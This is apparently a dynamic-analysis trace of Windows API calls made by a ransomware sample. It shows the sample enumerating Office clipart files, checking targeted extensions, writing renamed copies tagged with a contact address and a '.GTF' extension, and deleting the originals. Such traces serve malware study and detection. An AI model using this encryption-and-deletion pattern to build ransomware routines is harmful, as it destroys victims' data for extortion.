	[0182.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.541] lstrlenW (lpString=".zip") returned 4
	[0182.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.541] lstrlenW (lpString=".rar") returned 4
	[0182.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.541] lstrlenW (lpString=".bz2") returned 4
	[0182.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.541] lstrlenW (lpString=".7z") returned 3
	[0182.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.541] lstrlenW (lpString=".dbf") returned 4
	[0182.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.541] lstrlenW (lpString=".1cd") returned 4
	[0182.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.542] lstrlenW (lpString=".jpg") returned 4
	[0182.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.542] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.542] lstrlenW (lpString="J0185798.WMF") returned 12
	[0182.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.576] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=33824) returned 1
	[0182.576] CloseHandle (hObject=0x590) returned 1
	[0182.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 0x220
	[0182.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.576] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.577] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.578] GetLastError () returned 0x0
	[0182.578] ReadFile (in: hFile=0x590, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x8420, lpOverlapped=0x0) returned 1
	[0182.581] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x8430, lpOverlapped=0x0) returned 1
	[0182.582] ReadFile (in: hFile=0x590, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.582] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.583] SetEndOfFile (hFile=0x538) returned 1
	[0182.583] CloseHandle (hObject=0x538) returned 1
	[0182.583] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.583] SetEndOfFile (hFile=0x590) returned 1
	[0182.586] CloseHandle (hObject=0x590) returned 1
	[0182.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 1
	[0182.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.587] lstrlenW (lpString=".doc") returned 4
	[0182.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.587] lstrlenW (lpString=".docx") returned 5
	[0182.587] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0182.587] lstrlenW (lpString=".pdf") returned 4
	[0182.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.587] lstrlenW (lpString=".xls") returned 4
	[0182.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.587] lstrlenW (lpString=".xlsx") returned 5
	[0182.587] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0182.587] lstrlenW (lpString=".ppt") returned 4
	[0182.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.588] lstrlenW (lpString=".zip") returned 4
	[0182.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.588] lstrlenW (lpString=".rar") returned 4
	[0182.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.588] lstrlenW (lpString=".bz2") returned 4
	[0182.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.588] lstrlenW (lpString=".7z") returned 3
	[0182.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.588] lstrlenW (lpString=".dbf") returned 4
	[0182.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.588] lstrlenW (lpString=".1cd") returned 4
	[0182.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.588] lstrlenW (lpString=".jpg") returned 4
	[0182.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.588] lstrlenW (lpString=".doc") returned 4
	[0182.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.588] lstrlenW (lpString=".docx") returned 5
	[0182.588] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0182.588] lstrlenW (lpString=".pdf") returned 4
	[0182.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.588] lstrlenW (lpString=".xls") returned 4
	[0182.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.588] lstrlenW (lpString=".xlsx") returned 5
	[0182.588] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0182.588] lstrlenW (lpString=".ppt") returned 4
	[0182.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.588] lstrlenW (lpString=".zip") returned 4
	[0182.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.588] lstrlenW (lpString=".rar") returned 4
	[0182.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.589] lstrlenW (lpString=".bz2") returned 4
	[0182.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.589] lstrlenW (lpString=".7z") returned 3
	[0182.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.589] lstrlenW (lpString=".dbf") returned 4
	[0182.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.589] lstrlenW (lpString=".1cd") returned 4
	[0182.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68
	[0182.589] lstrlenW (lpString=".jpg") returned 4
	[0182.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.589] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.589] lstrlenW (lpString="J0185800.WMF") returned 12
	[0182.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.590] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24238) returned 1
	[0182.590] CloseHandle (hObject=0x590) returned 1
	[0182.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 0x220
	[0182.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.591] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.591] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.591] GetLastError () returned 0x0
	[0182.591] ReadFile (in: hFile=0x590, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x5eae, lpOverlapped=0x0) returned 1
	[0182.594] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x5eb0, lpOverlapped=0x0) returned 1
	[0182.595] ReadFile (in: hFile=0x590, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.595] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.595] SetEndOfFile (hFile=0x538) returned 1
	[0182.595] CloseHandle (hObject=0x538) returned 1
	[0182.595] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.595] SetEndOfFile (hFile=0x590) returned 1
	[0182.598] CloseHandle (hObject=0x590) returned 1
	[0182.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 1
	[0182.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.599] lstrlenW (lpString=".doc") returned 4
	[0182.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.599] lstrlenW (lpString=".docx") returned 5
	[0182.599] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0182.599] lstrlenW (lpString=".pdf") returned 4
	[0182.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.599] lstrlenW (lpString=".xls") returned 4
	[0182.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.599] lstrlenW (lpString=".xlsx") returned 5
	[0182.599] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0182.599] lstrlenW (lpString=".ppt") returned 4
	[0182.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.599] lstrlenW (lpString=".zip") returned 4
	[0182.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.599] lstrlenW (lpString=".rar") returned 4
	[0182.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.599] lstrlenW (lpString=".bz2") returned 4
	[0182.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.599] lstrlenW (lpString=".7z") returned 3
	[0182.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.599] lstrlenW (lpString=".dbf") returned 4
	[0182.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.600] lstrlenW (lpString=".1cd") returned 4
	[0182.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.600] lstrlenW (lpString=".jpg") returned 4
	[0182.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.600] lstrlenW (lpString=".doc") returned 4
	[0182.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString=".docx") returned 5
	[0182.600] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0182.600] lstrlenW (lpString=".pdf") returned 4
	[0182.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString=".xls") returned 4
	[0182.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.600] lstrlenW (lpString=".xlsx") returned 5
	[0182.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0182.600] lstrlenW (lpString=".ppt") returned 4
	[0182.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.600] lstrlenW (lpString=".zip") returned 4
	[0182.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.600] lstrlenW (lpString=".rar") returned 4
	[0182.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString=".bz2") returned 4
	[0182.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString=".7z") returned 3
	[0182.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.600] lstrlenW (lpString=".dbf") returned 4
	[0182.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.600] lstrlenW (lpString=".1cd") returned 4
	[0182.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68
	[0182.601] lstrlenW (lpString=".jpg") returned 4
	[0182.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.601] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.601] lstrlenW (lpString="J0185806.WMF") returned 12
	[0182.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.602] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=30522) returned 1
	[0182.602] CloseHandle (hObject=0x590) returned 1
	[0182.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 0x220
	[0182.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0182.603] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.603] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.603] GetLastError () returned 0x0
	[0182.603] ReadFile (in: hFile=0x590, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x773a, lpOverlapped=0x0) returned 1
	[0182.605] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x7740, lpOverlapped=0x0) returned 1
	[0182.607] ReadFile (in: hFile=0x590, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.607] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.607] SetEndOfFile (hFile=0x538) returned 1
	[0182.607] CloseHandle (hObject=0x538) returned 1
	[0182.607] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.607] SetEndOfFile (hFile=0x590) returned 1
	[0183.550] CloseHandle (hObject=0x590) returned 1
	[0183.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 1
	[0183.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.836] lstrlenW (lpString=".doc") returned 4
	[0183.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.836] lstrlenW (lpString=".docx") returned 5
	[0183.836] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.836] lstrlenW (lpString=".pdf") returned 4
	[0183.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.836] lstrlenW (lpString=".xls") returned 4
	[0183.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.836] lstrlenW (lpString=".xlsx") returned 5
	[0183.836] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.836] lstrlenW (lpString=".ppt") returned 4
	[0183.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.837] lstrlenW (lpString=".zip") returned 4
	[0183.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.837] lstrlenW (lpString=".rar") returned 4
	[0183.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.837] lstrlenW (lpString=".bz2") returned 4
	[0183.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.837] lstrlenW (lpString=".7z") returned 3
	[0183.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.837] lstrlenW (lpString=".dbf") returned 4
	[0183.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.837] lstrlenW (lpString=".1cd") returned 4
	[0183.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.837] lstrlenW (lpString=".jpg") returned 4
	[0183.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.837] lstrlenW (lpString=".doc") returned 4
	[0183.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.837] lstrlenW (lpString=".docx") returned 5
	[0183.837] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.837] lstrlenW (lpString=".pdf") returned 4
	[0183.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.837] lstrlenW (lpString=".xls") returned 4
	[0183.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.837] lstrlenW (lpString=".xlsx") returned 5
	[0183.837] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.837] lstrlenW (lpString=".ppt") returned 4
	[0183.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
